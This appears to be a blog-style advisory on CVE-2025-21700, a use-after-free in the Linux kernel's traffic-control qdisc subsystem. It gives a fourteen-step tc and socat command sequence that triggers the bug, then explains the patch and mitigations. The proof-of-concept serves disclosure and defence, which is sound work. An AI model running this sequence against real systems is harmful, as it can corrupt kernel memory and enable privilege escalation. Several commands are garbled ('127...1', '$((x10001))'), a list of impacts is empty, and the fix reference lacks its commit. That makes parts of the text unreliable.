CVE-2025-21700 - Privilege Escalation in Linux Kernel Traffic Control (tc) via Qdisc UAF
A serious vulnerability (CVE-2025-21700) in the Linux kernel's traffic control (tc) queueing discipline ("qdisc") system was patched. The bug allowed attackers to create a Use-After-Free (UAF) condition by grafting "qdisc" objects between different parent classes, leading to potential privilege escalation. This long read breaks down the bug, offers code snippets, shows step-by-step exploitation (using tc and socat commands), and provides references.
What is Affected?
Linux Kernel - net/sched subsystem (qdiscs, classes, and traffic control manipulation via tc)
Who is Affected?
- Anyone with unprivileged or privileged access to the tc command with the ability to configure traffic control on a system.
- Most relevant to server/cloud deployments and container environments.
How the Bug Happens
The Linux kernel's traffic control system handles scheduling and classification via objects called "qdiscs" (queueing disciplines). Normally, a qdisc is attached to a single parent; you aren't supposed to hook a single qdisc to more than one parent at a time.
However, if you tried to *replace* a qdisc, the kernel didn't prevent you from moving the same qdisc from one parent to another. This led to a situation where a qdisc's reference count increased incorrectly, and both parent classes pointed to the same qdisc.
Deleting one parent would free the qdisc, but the other parent would still point to it—boom: Use-After-Free (UAF). This can be abused for privilege escalation.
Original Exploit Steps
Let's walk through the exploitation process. Each step shows the commands you would run and what happens:
Step 1. Create a root qdisc
tc qdisc add dev lo root handle 1: drr
Step 2. Add a class for packet aggregation
tc class add dev lo classid 1:1 drr
Step 3. Add a class for nesting
tc class add dev lo classid 1:2 drr
Step 4. Add another class for grafting qdiscs
tc class add dev lo classid 1:3 drr
Step 5. Attach a plug qdisc
tc qdisc add dev lo parent 1:1 handle 2: plug limit 1024
Step 6. Attach another qdisc for nesting
tc qdisc add dev lo parent 1:2 handle 3: drr
Step 7. Add a nested class under the new qdisc
tc class add dev lo classid 3:1 drr
Step 8. Attach a pfifo (packet FIFO) qdisc
tc qdisc add dev lo parent 3:1 handle 4: pfifo
Step 9. Display the class/qdisc layout
tc class ls dev lo
tc qdisc ls
*You will see the parent–child relationships of classes and qdiscs like so:*
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 limit 100p
qdisc drr 3: dev lo parent 1:2
Step 10. (Trigger UAF) Replace qdisc parent (THIS IS THE VULNERABLE PART)
tc qdisc replace dev lo parent 1:3 handle 4:
*Here, the pfifo qdisc (handle 4:) gets moved from one parent (3:1) to another (1:3), increasing its refcount, and both point to the same memory.*
Step 11. Check classes/qdiscs again
tc class ls dev lo
tc qdisc ls
*Notice: both class 1:3 and 3:1 point to 4:, refcount increases—this should NOT happen.*
Step 12. Send a packet to the plug qdisc
echo "" | socat -u STDIN UDP4-DATAGRAM:127...1:8888,priority=$((x10001))
Step 13. Send a packet to the (now-shared) pfifo
echo "" | socat -u STDIN UDP4-DATAGRAM:127...1:8888,priority=$((x10003))
Step 14. Delete classes to trigger UAF
tc class delete dev lo classid 1:3
tc class delete dev lo classid 1:1
*Deleting the classes will free the qdiscs, but because 4: was shared, freeing it through one path while another still points at it triggers a Use-After-Free: an attacker can corrupt kernel memory or escalate privileges.*
Why Does This Matter?
A Use-After-Free in the kernel is a serious issue. An attacker with tc privileges can lead the kernel to access freed memory, which opens up opportunities to:
How is it Fixed?
Instead of allowing the complex and irregular move of a qdisc between parents using replace, the patch forbids this configuration. Now, the kernel will refuse to process this in the first place, preventing refcounting bugs and UAF attacks.
*Quoting from the official patch:*
> "Disallow replacing of child qdisc from one parent to another"
>
> The semantics of "replace" is for a del/add *on the same node* and not a delete from one node and add to another node.
Joint work by Lion Ackermann ([nnamrec@gmail.com](mailto:nnamrec@gmail.com)).
Patch your kernel! Make sure to update to a version with this commit applied:
Upstream fix in kernel commit
- Restrict use of tc to trusted users only; unprivileged use of tc/netlink manipulation should be audited.
- Container environments should be reviewed to ensure untrusted users can’t mess with host or high-priv networks.
## Learn More / References
- Linux kernel mailing list post about fix (LKML)
- Linux kernel traffic control (tc) documentation
- What is a Use-After-Free? (Wikipedia)
- Overview of the Linux Networking Stack
Summary
CVE-2025-21700 exposes a privilege escalation path in Linux via traffic control configuration. The flaw is now patched, but history has shown UAFs in the Linux kernel are prized for their exploitation potential. Protect your fleet: patch promptly, minimize who can access tc, and keep an eye on kernel changelogs for related bugs!
*Report bugs responsibly, and kudos to Lion Ackermann for responsible disclosure and the kernel maintainers for a quick fix!*
Timeline
Published on: 02/13/2025 12:15:27 UTC
Last modified on: 03/13/2025 13:15:48 UTC